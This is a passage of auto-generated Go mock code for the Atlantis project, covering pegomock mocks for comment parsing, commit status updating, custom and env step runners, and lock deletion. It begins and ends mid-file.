...int) } func NewMockCommentParsing(options ...pegomock.Option) *MockCommentParsing { mock := &MockCommentParsing{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockCommentParsing) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCommentParsing) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockCommentParsing) Parse(comment string, vcsHost models.VCSHostType) events.CommentParseResult { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommentParsing().") } _params := []pegomock.Param{comment, vcsHost} _result := pegomock.GetGenericMockFrom(mock).Invoke("Parse", _params, []reflect.Type{reflect.TypeOf((*events.CommentParseResult)(nil)).Elem()}) var _ret0 events.CommentParseResult if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(events.CommentParseResult) } } return _ret0 } func (mock *MockCommentParsing) VerifyWasCalledOnce() *VerifierMockCommentParsing { return &VerifierMockCommentParsing{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockCommentParsing) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommentParsing { return &VerifierMockCommentParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockCommentParsing) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommentParsing { return &VerifierMockCommentParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockCommentParsing) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommentParsing { return &VerifierMockCommentParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockCommentParsing struct { mock *MockCommentParsing invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCommentParsing) Parse(comment string, vcsHost models.VCSHostType) *MockCommentParsing_Parse_OngoingVerification { _params := []pegomock.Param{comment, vcsHost} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Parse", _params, verifier.timeout) return &MockCommentParsing_Parse_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommentParsing_Parse_OngoingVerification struct { mock *MockCommentParsing methodInvocations []pegomock.MethodInvocation } func (c *MockCommentParsing_Parse_OngoingVerification) GetCapturedArguments() (string, models.VCSHostType) { comment, vcsHost := c.GetAllCapturedArguments() return comment[len(comment)-1], vcsHost[len(vcsHost)-1] } func (c *MockCommentParsing_Parse_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []models.VCSHostType) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]models.VCSHostType, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.VCSHostType) } } } return } ================================================ FILE: server/events/mocks/mock_commit_status_updater.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: CommitStatusUpdater) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockCommitStatusUpdater struct { fail func(message string, callerSkip ...int) } func NewMockCommitStatusUpdater(options ...pegomock.Option) *MockCommitStatusUpdater { mock := &MockCommitStatusUpdater{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockCommitStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCommitStatusUpdater) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommitStatusUpdater().") } _params := []pegomock.Param{logger, repo, pull, status, cmdName} _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateCombined", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommitStatusUpdater().") } _params := []pegomock.Param{logger, repo, pull, status, cmdName, numSuccess, numTotal} _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateCombinedCount", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockCommitStatusUpdater) UpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommitStatusUpdater().") } _params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url} _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdatePostWorkflowHook", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockCommitStatusUpdater) UpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCommitStatusUpdater().") } _params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url} _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdatePreWorkflowHook", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockCommitStatusUpdater) VerifyWasCalledOnce() *VerifierMockCommitStatusUpdater { return &VerifierMockCommitStatusUpdater{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockCommitStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommitStatusUpdater { return &VerifierMockCommitStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockCommitStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommitStatusUpdater { return &VerifierMockCommitStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockCommitStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommitStatusUpdater { return &VerifierMockCommitStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockCommitStatusUpdater struct { mock *MockCommitStatusUpdater invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) *MockCommitStatusUpdater_UpdateCombined_OngoingVerification { _params := []pegomock.Param{logger, repo, pull, status, cmdName} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateCombined", _params, verifier.timeout) return &MockCommitStatusUpdater_UpdateCombined_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommitStatusUpdater_UpdateCombined_OngoingVerification struct { mock *MockCommitStatusUpdater methodInvocations []pegomock.MethodInvocation } func (c *MockCommitStatusUpdater_UpdateCombined_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, command.Name) { logger, repo, pull, status, cmdName := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], status[len(status)-1], cmdName[len(cmdName)-1] } func (c *MockCommitStatusUpdater_UpdateCombined_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []command.Name) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]models.CommitStatus, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(models.CommitStatus) } } if len(_params) > 4 { _param4 = make([]command.Name, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(command.Name) } } } return } func (verifier *VerifierMockCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification { _params := []pegomock.Param{logger, repo, pull, status, cmdName, numSuccess, numTotal} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateCombinedCount", _params, verifier.timeout) return &MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification struct { mock *MockCommitStatusUpdater methodInvocations []pegomock.MethodInvocation } func (c *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, command.Name, int, int) { logger, repo, pull, status, cmdName, numSuccess, numTotal := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], status[len(status)-1], cmdName[len(cmdName)-1], numSuccess[len(numSuccess)-1], numTotal[len(numTotal)-1] } func (c *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []command.Name, _param5 []int, _param6 []int) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]models.CommitStatus, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(models.CommitStatus) } } if len(_params) > 4 { _param4 = make([]command.Name, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(command.Name) } } if len(_params) > 5 { _param5 = make([]int, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(int) } } if len(_params) > 6 { _param6 = make([]int, len(c.methodInvocations)) for u, param := range _params[6] { _param6[u] = param.(int) } } } return } func (verifier *VerifierMockCommitStatusUpdater) UpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification { _params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdatePostWorkflowHook", _params, verifier.timeout) return &MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification struct { mock *MockCommitStatusUpdater methodInvocations []pegomock.MethodInvocation } func (c *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.CommitStatus, string, string, string) { logger, pull, status, hookDescription, runtimeDescription, url := c.GetAllCapturedArguments() return logger[len(logger)-1], pull[len(pull)-1], status[len(status)-1], hookDescription[len(hookDescription)-1], runtimeDescription[len(runtimeDescription)-1], url[len(url)-1] } func (c *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []string, _param4 []string, _param5 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } if len(_params) > 2 { _param2 = make([]models.CommitStatus, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.CommitStatus) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } if len(_params) > 5 { _param5 = make([]string, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(string) } } } return } func (verifier *VerifierMockCommitStatusUpdater) UpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) *MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification { _params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdatePreWorkflowHook", _params, verifier.timeout) return &MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification struct { mock *MockCommitStatusUpdater methodInvocations []pegomock.MethodInvocation } func (c *MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.CommitStatus, string, string, string) { logger, pull, status, hookDescription, runtimeDescription, url := c.GetAllCapturedArguments() return logger[len(logger)-1], pull[len(pull)-1], status[len(status)-1], hookDescription[len(hookDescription)-1], runtimeDescription[len(runtimeDescription)-1], url[len(url)-1] } func (c *MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []string, _param4 []string, _param5 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } if len(_params) > 2 { _param2 = make([]models.CommitStatus, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.CommitStatus) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } if len(_params) > 5 { _param5 = make([]string, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(string) } } } return } ================================================ FILE: server/events/mocks/mock_custom_step_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: CustomStepRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" valid "github.com/runatlantis/atlantis/server/core/config/valid" command "github.com/runatlantis/atlantis/server/events/command" "reflect" regexp "regexp" "time" ) type MockCustomStepRunner struct { fail func(message string, callerSkip ...int) } func NewMockCustomStepRunner(options ...pegomock.Option) *MockCustomStepRunner { mock := &MockCustomStepRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockCustomStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCustomStepRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockCustomStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, path string, envs map[string]string, streamOutput bool, postProcessOutput []valid.PostProcessRunOutputOption, postProcessFilterRegexes []*regexp.Regexp) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCustomStepRunner().") } _params := []pegomock.Param{ctx, shell, cmd, path, envs, streamOutput, postProcessOutput, postProcessFilterRegexes} _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockCustomStepRunner) VerifyWasCalledOnce() *VerifierMockCustomStepRunner { return &VerifierMockCustomStepRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockCustomStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCustomStepRunner { return &VerifierMockCustomStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockCustomStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCustomStepRunner { return &VerifierMockCustomStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockCustomStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCustomStepRunner { return &VerifierMockCustomStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockCustomStepRunner struct { mock *MockCustomStepRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCustomStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, path string, envs map[string]string, streamOutput bool, postProcessOutput []valid.PostProcessRunOutputOption, postProcessFilterRegexes []*regexp.Regexp) *MockCustomStepRunner_Run_OngoingVerification { _params := []pegomock.Param{ctx, shell, cmd, path, envs, streamOutput, postProcessOutput, postProcessFilterRegexes} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockCustomStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCustomStepRunner_Run_OngoingVerification struct { mock *MockCustomStepRunner methodInvocations []pegomock.MethodInvocation } func (c *MockCustomStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, *valid.CommandShell, string, string, map[string]string, bool, []valid.PostProcessRunOutputOption, []*regexp.Regexp) { ctx, shell, cmd, path, envs, streamOutput, postProcessOutput, postProcessFilterRegexes := c.GetAllCapturedArguments() return ctx[len(ctx)-1], shell[len(shell)-1], cmd[len(cmd)-1], path[len(path)-1], envs[len(envs)-1], streamOutput[len(streamOutput)-1], postProcessOutput[len(postProcessOutput)-1], postProcessFilterRegexes[len(postProcessFilterRegexes)-1] } func (c *MockCustomStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []*valid.CommandShell, _param2 []string, _param3 []string, _param4 []map[string]string, _param5 []bool, _param6 [][]valid.PostProcessRunOutputOption, _param7 [][]*regexp.Regexp) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]*valid.CommandShell, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*valid.CommandShell) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]map[string]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(map[string]string) } } if len(_params) > 5 { _param5 = make([]bool, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(bool) } } if len(_params) > 6 { _param6 = make([][]valid.PostProcessRunOutputOption, len(c.methodInvocations)) for u, param := range _params[6] { _param6[u] = param.([]valid.PostProcessRunOutputOption) } } if len(_params) > 7 { _param7 = make([][]*regexp.Regexp, len(c.methodInvocations)) for u, param := range _params[7] { _param7[u] = param.([]*regexp.Regexp) } } } return } ================================================ FILE: server/events/mocks/mock_delete_lock_command.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: DeleteLockCommand) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockDeleteLockCommand struct { fail func(message string, callerSkip ...int) } func NewMockDeleteLockCommand(options ...pegomock.Option) *MockDeleteLockCommand { mock := &MockDeleteLockCommand{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockDeleteLockCommand) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockDeleteLockCommand) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) (*models.ProjectLock, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockDeleteLockCommand().") } _params := []pegomock.Param{logger, id} _result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteLock", _params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 *models.ProjectLock var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*models.ProjectLock) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockDeleteLockCommand().") } _params := []pegomock.Param{logger, repoFullName, pullNum} _result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteLocksByPull", _params, []reflect.Type{reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 int var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(int) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockDeleteLockCommand) VerifyWasCalledOnce() *VerifierMockDeleteLockCommand { return &VerifierMockDeleteLockCommand{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockDeleteLockCommand) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDeleteLockCommand { return &VerifierMockDeleteLockCommand{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockDeleteLockCommand) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDeleteLockCommand { return &VerifierMockDeleteLockCommand{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockDeleteLockCommand) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDeleteLockCommand { return &VerifierMockDeleteLockCommand{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockDeleteLockCommand struct { mock *MockDeleteLockCommand invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) *MockDeleteLockCommand_DeleteLock_OngoingVerification { _params := []pegomock.Param{logger, id} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteLock", _params, verifier.timeout) return &MockDeleteLockCommand_DeleteLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockDeleteLockCommand_DeleteLock_OngoingVerification struct { mock *MockDeleteLockCommand methodInvocations []pegomock.MethodInvocation } func (c *MockDeleteLockCommand_DeleteLock_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) { logger, id := c.GetAllCapturedArguments() return logger[len(logger)-1], id[len(id)-1] } func (c *MockDeleteLockCommand_DeleteLock_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } } return } func (verifier *VerifierMockDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification { _params := []pegomock.Param{logger, repoFullName, pullNum} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteLocksByPull", _params, verifier.timeout) return &MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification struct { mock *MockDeleteLockCommand methodInvocations []pegomock.MethodInvocation } func (c *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string, int) { logger, repoFullName, pullNum := c.GetAllCapturedArguments() return logger[len(logger)-1], repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] } func (c *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string, _param2 []int) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]int, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(int) } } } return } ================================================ FILE: server/events/mocks/mock_env_step_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: EnvStepRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" valid "github.com/runatlantis/atlantis/server/core/config/valid" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockEnvStepRunner struct { fail func(message string, callerSkip ...int) } func NewMockEnvStepRunner(options ...pegomock.Option) *MockEnvStepRunner { mock := &MockEnvStepRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockEnvStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockEnvStepRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockEnvStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, value string, path string, envs map[string]string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEnvStepRunner().") } _params := []pegomock.Param{ctx, shell, cmd, value, path, envs} _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockEnvStepRunner) VerifyWasCalledOnce() *VerifierMockEnvStepRunner { return &VerifierMockEnvStepRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockEnvStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockEnvStepRunner { return &VerifierMockEnvStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockEnvStepRunner) 